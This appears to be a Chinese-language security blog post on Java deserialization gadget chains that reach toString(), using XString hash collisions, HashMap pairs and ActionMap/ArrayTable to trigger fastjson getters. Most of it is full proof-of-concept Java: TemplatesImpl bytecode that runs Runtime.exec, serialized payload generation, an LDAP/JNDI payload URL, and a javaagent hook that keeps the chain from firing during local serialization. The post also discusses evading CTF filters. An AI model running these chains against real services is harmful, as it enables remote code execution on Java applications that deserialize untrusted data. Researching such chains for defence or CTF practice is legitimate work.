ToString篇

常用toString

后期对于JNDI/反序列化的利用,主要sink点在jdbc,那么这两条链就额外重要

readObject->toString->getConnection->jdbc
ldap->getObjectInstance->jdbc

其中readObject-\>toString是现在主力链fastjson/jackson的重要一环,而承担这一重任的BadAttributeValueExpException仅能使用在jdk8-14,也容易在CTF上被过滤,因此一些替代类就出现了。最知名的是HotSwappableTargetSource+XString的配合,需要spring依赖。随后是jdk原生支持的EventListenerList/TextAndMnemonicHashMap被发现

XString

HotSwappableTargetSource+XString值得说道说道,我们都知道一个HashMap如果put进去一个hashcode相同的K,就会触发key.equals(k),而XString.equals(Object)正好可以触发toString

image-20260128172601278

而之所以用HotSwappableTargetSource封装一层,正是因为这个类实例化的对象hashcode都是一样的

public int hashCode() {
        return HotSwappableTargetSource.class.hashCode();
    }

image-20260128172627483

也就是说,这个链的原理其实很简单hashMap.put(json,1);hashMap.put(xstring,1); 如果json和xstring的hashcode一样,就会触发XString.equals(json),进而触发json.toString(),最后触发任意getter。如何保证json和xstring的hashcode一样呢,就是用HotSwappableTargetSource封装一层。

除此之外,还有别的办法吗?再看看XString的hashcode来源

image-20260128173137285

image-20260128173149124

其实就是实例化的时候塞进去的String,也就是说XString.hashCode()本质上就是String.hashCode()。

而String的hashcode是可以快速碰撞出来的。

因此,一个不依赖HotSwappableTargetSource的XString链就应运而生

package GodzillaShell;

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XObject;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;

import java.lang.reflect.Field;
import java.util.HashMap;

import static GodzillaShell.HashCollision.unhash;

public class XStringToString {
    public static void main(String[] args) throws Exception {
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool = ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload = classPool.makeClass("CB1");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"); //创建一个空的类初始化,设置构造函数主体为runtime

        byte[] bytes = payload.toBytecode();//转换为byte数组47.

        Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
        Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
        field.setAccessible(true);//暴力反射
        field.set(templatesImpl, new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组

        Field field1 = templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
        field1.setAccessible(true);//暴力反射
        field1.set(templatesImpl, "test");//将templatesImpl上的_name字段设置为test

        Field field2 = templatesImpl.getClass().getDeclaredField("_tfactory");//反射获取templatesImpl的_tfactory字段
        field2.setAccessible(true);//暴力反射
        field2.set(templatesImpl, new TransformerFactoryImpl());//设置_tfactory字段

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templatesImpl);
        String  unhash  = unhash(jsonArray.hashCode());
        System.out.println(unhash);
        XObject xString = new XString(unhash);
        HashMap hashMap = new HashMap();
        hashMap.put(jsonArray, "1");
        hashMap.put(xString, "2");
    }
}

image-20260128182901896

显然在创建序列化payload的时候我们不能这么直接put,否则会先在自己的机器上RCE,因此需要模拟HashMap.put(),用反射将KV塞进去HashMap

也可以用别人更加通用的makeMap写法使用

public static HashMap makeMap(Object v1, Object v2) throws Exception {
        HashMap s = new HashMap();
        Reflections.setFieldValue(s, "size", 2);
        Class nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch (ClassNotFoundException e) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        Reflections.setAccessible(nodeCons);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        Reflections.setFieldValue(s, "table", tbl);
        return s;
    }

最终会发现直接put可以RCE,readObject-\>putVal的时候却不行,此时将反序列化前后的hashcode都打印出来,很容易发现原因——hashcode变化了

image-20260128183514032

为什么呢?跟踪JSONArray.hashCode(),容易发现其实就是ArrayList.hashCode(),而List的hashcode显然跟元素挂钩,元素只有TemplatesImpl一个,所以本质上就是TemplatesImpl的hashcode变化了。通过下断点,可以发现前后的TemplatesImpl确实有一些地方不一样。

第一次

image-20260128183656080

第二次

image-20260128183812946

然而即使将这些属性都调整成一样的,hashcode还是会发现变化。如果想追踪TemplatesImpl.hashCode()就会发现TemplatesImpl根本没有实现hashCode(),也就是说它用的是Object.hashCode(),而这个在每次实例化的时候都不一样,所以通过new实例化的TemplatesImpl和readObject实例化的TemplatesImpl显然是两个不同的对象,提前通过unhash碰撞出来的Xstring毫无意义。

但知道了原理,所以只要换成其他实现了hashCode()的getter就行。比如com.sun.jndi.ldap.LdapAttribute。

 String url = "ldap://127.0.0.1:1389/deser:fastjson2_7:Y2FsYw==";
        String ldap_url = url.substring(0,url.lastIndexOf("/"));
        String rdn = url.substring(url.lastIndexOf("/")+1);
          System.out.print(ldap_url+"\r\n");
          System.out.print(rdn+"\r\n");
        
        Constructor<?> ctor = Class.forName("com.sun.jndi.ldap.LdapAttribute").getDeclaredConstructor(new Class<?>[]{String.class});
        ctor.setAccessible(true);
        Attribute obj = (Attribute) ctor.newInstance("id");
        setFieldValue(obj, "baseCtxURL", ldap_url);
        setFieldValue(obj, "rdn", new CompositeName(rdn+"//b"));

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(obj);
        
        String  unhash  = unhash(jsonArray.hashCode());
        XObject xString = new XString(unhash);

        HashMap hashMap = new HashMap();
        //hashMap.put(jsonArray, "1");
        //hashMap.put(xString, "2");
        
        
        hashMap = makeMap(jsonArray ,xString);

        Set keys = hashMap.keySet();
        for (Object key :keys) {
            System.out.println(key.getClass()+": "+key.hashCode());
        }
        
        
        HashMap hashMap2 = new HashMap();
        hashMap2.put(obj, hashMap);
        
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
        objectOutputStream.writeObject(hashMap2);
        objectOutputStream.close();
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));
        objectInputStream.readObject();

XString+HashMap

在ROME链中,还有一种使hashcode相等的办法


        HashMap map1 = new HashMap();
        HashMap map2 = new HashMap();
        map1.put("yy",equalsBean);
        map1.put("zZ",obj);
        map2.put("zZ",equalsBean);
        map2.put("yy",obj);
        System.out.println(map1.hashCode());
        System.out.println(map2.hashCode());

这种办法可以无缝套在Xstring上

package GodzillaShell;

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XObject;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Set;

import java.lang.reflect.Field;
import java.util.HashMap;

import static GodzillaShell.XStringToString.makeMap;

public class XStringHashmap {
    public static void main(String[] args) throws Exception {
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool = ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload = classPool.makeClass("CB1");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"); //创建一个空的类初始化,设置构造函数主体为runtime

        byte[] bytes = payload.toBytecode();//转换为byte数组47.

        Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
        Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
        field.setAccessible(true);//暴力反射
        field.set(templatesImpl, new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组

        Field field1 = templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
        field1.setAccessible(true);//暴力反射
        field1.set(templatesImpl, "test");//将templatesImpl上的_name字段设置为test

        Field field2 = templatesImpl.getClass().getDeclaredField("_tfactory");//反射获取templatesImpl的_tfactory字段
        field2.setAccessible(true);//暴力反射
        field2.set(templatesImpl, new TransformerFactoryImpl());//设置_tfactory字段
        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templatesImpl);
        XObject xString = new XString("foo");

        HashMap map1 = new HashMap();
        HashMap map2 = new HashMap();
        map1.put("yy", jsonArray);
        map1.put("zZ", xString);
        map2.put("yy", xString);
        map2.put("zZ", jsonArray);
        System.out.println(map1.hashCode());
        System.out.println(map2.hashCode());
        HashMap hashMap = makeMap(map1, map2);

//        HashMap hashMap2 = new HashMap();
//        hashMap2.put(templatesImpl,hashmap);
        Set keys = hashMap.keySet();
        for (Object key :keys) {
            System.out.println(key.getClass()+": "+key.hashCode());
        }

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
        objectOutputStream.writeObject(hashMap);
        objectOutputStream.close();
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));

        hashMap = (HashMap) objectInputStream.readObject();
        keys = hashMap.keySet();
        for (Object key :keys) {
            System.out.println(key.getClass()+": "+key.hashCode());
        }

    }
}

image-20260128190231142

XString+ArrayTable

https://xz.aliyun.com/t/15807

这篇文章介绍了ArrayTable.get()可以触发Xstring.equals(),但需要用agent技术修改JComponent.writeObject(),避免在序列化过程在本地触发。核心思路是ArrayTable在比较key时是直接调用的key.equals()。文章中给了JComponent的反序列化写法和agent代码,这里不再赘述。

POC

package GodzillaShell;

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XObject;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;

import javax.swing.*;
import javax.swing.text.DefaultEditorKit;
import java.lang.reflect.Field;

public class XStringACtionMap {
    public static void main(String[] args) throws Exception {
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool = ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload = classPool.makeClass("CB1");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"); //创建一个空的类初始化,设置构造函数主体为runtime

        byte[] bytes = payload.toBytecode();//转换为byte数组47.

        Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
        Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
        field.setAccessible(true);//暴力反射
        field.set(templatesImpl, new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组

        Field field1 = templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
        field1.setAccessible(true);//暴力反射
        field1.set(templatesImpl, "test");//将templatesImpl上的_name字段设置为test

        Field field2 = templatesImpl.getClass().getDeclaredField("_tfactory");//反射获取templatesImpl的_tfactory字段
        field2.setAccessible(true);//暴力反射
        field2.set(templatesImpl, new TransformerFactoryImpl());//设置_tfactory字段
        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templatesImpl);
        XObject xString = new XString("foo");
        ActionMap actionMap = new ActionMap();

        Class atClass = Class.forName("javax.swing.ArrayTable");
        Object arrayTable = Reflections.createWithoutConstructor(atClass);

        Action action = new DefaultEditorKit.CopyAction();
        action.putValue("foo", "foo");
        Object[] table = new Object[]{xString ,action ,jsonArray ,action};

        Reflections.setFieldValue(arrayTable, "table", table);
        Reflections.setFieldValue(actionMap, "arrayTable", arrayTable);
        String serialize = tool.serialize(actionMap);
        tool.unserialize(serialize);
    }
}

在序列化就会执行。

image-20260128195422983

需要加-javaagent:ArrayTableAgent.jar参数生成序列化数据,hook ArrayTable核心代码如下。可以平替JComponent.writeObject()的hook,兼容性更高。

 public byte[] transform(final ClassLoader loader, final String className, final Class<?> classBeingRedefined, final ProtectionDomain protectionDomain, final byte[] classfileBuffer) {
        if (className.equals("javax/swing/ArrayTable")) {
            try {
                ClassPool classPool = ClassPool.getDefault();
                CtClass jClazz;
                try {
                  jClazz = classPool.get("javax.swing.ArrayTable");
            } catch (Exception e) {
              System.out.println("cp.get error");
              jClazz = classPool.makeClass(new ByteArrayInputStream(classfileBuffer));
            }
                CtMethod w = jClazz.getDeclaredMethod("writeArrayTable");
                String methodBody = "{\r\n"
                    + "        try {\r\n"
                    + "            $1.writeInt(2);\r\n"
                    + "            Class clz = $2.getClass();\r\n"
                    + "            java.lang.reflect.Field field = clz.getDeclaredField(\"table\");\r\n"
                    + "            field.setAccessible(true);\r\n"
                    + "            Object[] table = (Object[]) field.get($2);\r\n"
                    + "            for (int i = 0; i < 4; i++) {\r\n"
                    + "              $1.writeObject(table[i]);\r\n"
                    + "            }\r\n"
                    + "    } catch (Exception e) {\r\n"
                    + "    }"
                    + "}";
                w.setBody(methodBody);
                byte[] byteCode = jClazz.toBytecode();
                System.out.println(byteCode);
                jClazz.detach();
                return byteCode;
            } catch (Exception ex) {
                ex.printStackTrace();
            }
        }
        return null;
    }